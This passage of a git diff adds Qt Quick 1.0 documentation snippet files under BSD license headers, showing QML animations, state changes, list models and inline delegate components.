+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+ Item {
+ width: 400; height: 400
+
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
+
+ //! [sequential]
+ transitions: Transition {
+ SequentialAnimation {
+ PropertyAction { target: rect; property: "transformOrigin" }
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+ }
+ //! [sequential]
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
+ }
+ }
+}
diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml
new file mode 100644
index 00000000..5652278c
--- /dev/null
+++ b/doc/src/snippets/declarative/propertyaction.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+ //![transition]
+ Item {
+ width: 400; height: 400
+
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
+
+ transitions: Transition {
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
+ }
+ }
+ //![transition]
+
+ Item {
+ width: 300; height: 300
+
+ Image { id: img; source: "pics/qt.png" }
+
+ //![standalone]
+ SequentialAnimation {
+ PropertyAction { target: img; property: "smooth"; value: "true" }
+ NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
+ PropertyAction { target: img; property: "smooth"; value: "false" }
+ }
+ //![standalone]
+ }
+}
diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
new file mode 100644
index 00000000..b9126e56
--- /dev/null
+++ b/doc/src/snippets/declarative/propertyanimation.qml
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Row {
+
+//![transition]
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ //! [single state]
+ states: State {
+ name: "moved"
+ PropertyChanges { target: rect; x: 50 }
+ }
+ //! [single state]
+
+ transitions: Transition {
+ PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad }
+ }
+}
+//![transition]
+
+//![behavior]
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ Behavior on x { PropertyAnimation {} }
+
+ MouseArea { anchors.fill: parent; onClicked: parent.x = 50 }
+}
+//![behavior]
+
+//![propertyvaluesource]
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ SequentialAnimation on x {
+ loops: Animation.Infinite
+ PropertyAnimation { to: 50 }
+ PropertyAnimation { to: 0 }
+ }
+}
+//![propertyvaluesource]
+
+ //![standalone]
+ Rectangle {
+ id: theRect
+ width: 100; height: 100
+ color: "red"
+
+ // this is a standalone animation, it's not running by default
+ PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
+
+ MouseArea { anchors.fill: parent; onClicked: animation.running = true }
+ }
+ //![standalone]
+}
diff --git a/doc/src/snippets/declarative/propertychanges.qml b/doc/src/snippets/declarative/propertychanges.qml
new file mode 100644
index 00000000..462c3c0a
--- /dev/null
+++ b/doc/src/snippets/declarative/propertychanges.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![import]
+import QtQuick 1.0
+//![import]
+
+Column {
+
+//![0]
+Item {
+ id: container
+ width: 300; height: 300
+
+ Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ }
+
+ states: State {
+ name: "resized"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "blue"; height: container.height }
+ }
+ }
+}
+//![0]
+
+//![reset]
+Rectangle {
+ width: 300; height: 200
+
+ Text {
+ id: myText
+ width: 50
+ wrapMode: Text.WordWrap
+ text: "a text string that is longer than 50 pixels"
+
+ states: State {
+ name: "widerText"
+ PropertyChanges { target: myText; width: undefined }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myText.state = "widerText"
+ }
+}
+//![reset]
+}
diff --git a/doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml b/doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml
new file mode 100644
index 00000000..2b61fc68
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 250
+
+ //! [model]
+ ListModel { id: fruitModel }
+ //! [model]
+
+ //! [view]
+ ListView {
+ anchors.fill: parent
+ model: fruitModel
+ delegate: Row {
+ Text { text: "Fruit: " + name }
+ Text { text: "Cost: $" + cost }
+ }
+ }
+ //! [view]
+
+ //! [mouse area]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: fruitModel.append({"cost": 5.95, "name":"Pizza"})
+ }
+ //! [mouse area]
+}
diff --git a/doc/src/snippets/declarative/qml-data-models/listelements.qml b/doc/src/snippets/declarative/qml-data-models/listelements.qml
new file mode 100644
index 00000000..5a715331
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-data-models/listelements.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 250
+
+ //! [model]
+ ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+ }
+ //! [model]
+
+ //! [view]
+ ListView {
+ anchors.fill: parent
+ model: fruitModel
+ delegate: Row {
+ Text { text: "Fruit: " + name }
+ Text { text: "Cost: $" + cost }
+ }
+ }
+ //! [view]
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml b/doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml
new file mode 100644
index 00000000..06927456
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 250
+
+ ListModel {
+ id: myModel
+ ListElement { type: "Dog"; age: 8 }
+ ListElement { type: "Cat"; age: 5 }
+ }
+
+ Component {
+ id: myDelegate
+ Text { text: type + ", " + age }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: myModel
+ delegate: myDelegate
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/qml-documents/inline-component.qml b/doc/src/snippets/declarative/qml-documents/inline-component.qml
new file mode 100644
index 00000000..2e143aa7
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-documents/inline-component.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 320;
+
+ ListView {
+ anchors.fill: parent
+ model: contactModel
+ delegate: Component {
+ Text {
+ text: modelData.firstName + " " + modelData.lastName
+ }
+ }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/qml-documents/inline-text-component.qml b/doc/src/snippets/declarative/qml-documents/inline-text-component.qml
new file mode 100644
index 00000000..1d25a9b0
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-documents/inline-text-component.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 320;
+
+ ListView {
+ anchors.fill: parent
+ model: contactModel
+ delegate: Text {
+ text: modelData.firstName + " " + modelData.lastName
+ }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/qml-documents/non-trivial.qml b/doc/src/snippets/declarative/qml-documents/non-trivial.qml
new file mode 100644
index 00000000..99605b3e
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-documents/non-trivial.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 320;
+
+ resources: [
+ Component {
+ id: contactDelegate
+ Text {
+ text: modelData.firstName + " " + modelData.lastName
+ }
+ }
+ ]
+
+ ListView {
+ anchors.fill: parent
+ model: contactModel
+ delegate: contactDelegate
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/qml-documents/qmldocuments.qml b/doc/src/snippets/declarative/qml-documents/qmldocuments.qml
new file mode 100644
index 00000000..8b534fa5
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-documents/qmldocuments.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ property alias text: textItem.text
+
+ width: 100; height: 30
+ border.width: 1
+ radius: 5
+ smooth: true
+
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "darkGray" }
+ GradientStop { position: 0.5; color: "black" }
+ GradientStop { position: 1.0; color: "darkGray" }
+ }
+
+ Text {
+ id: textItem
+ anchors.centerIn: parent
+ font.pointSize: 20
+ color: "white"
+ }
+
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/qml-extending-types/components/Button.qml b/doc/src/snippets/declarative/qml-extending-types/components/Button.qml
new file mode 100644
index 00000000..c9010ccf
--- /dev/null
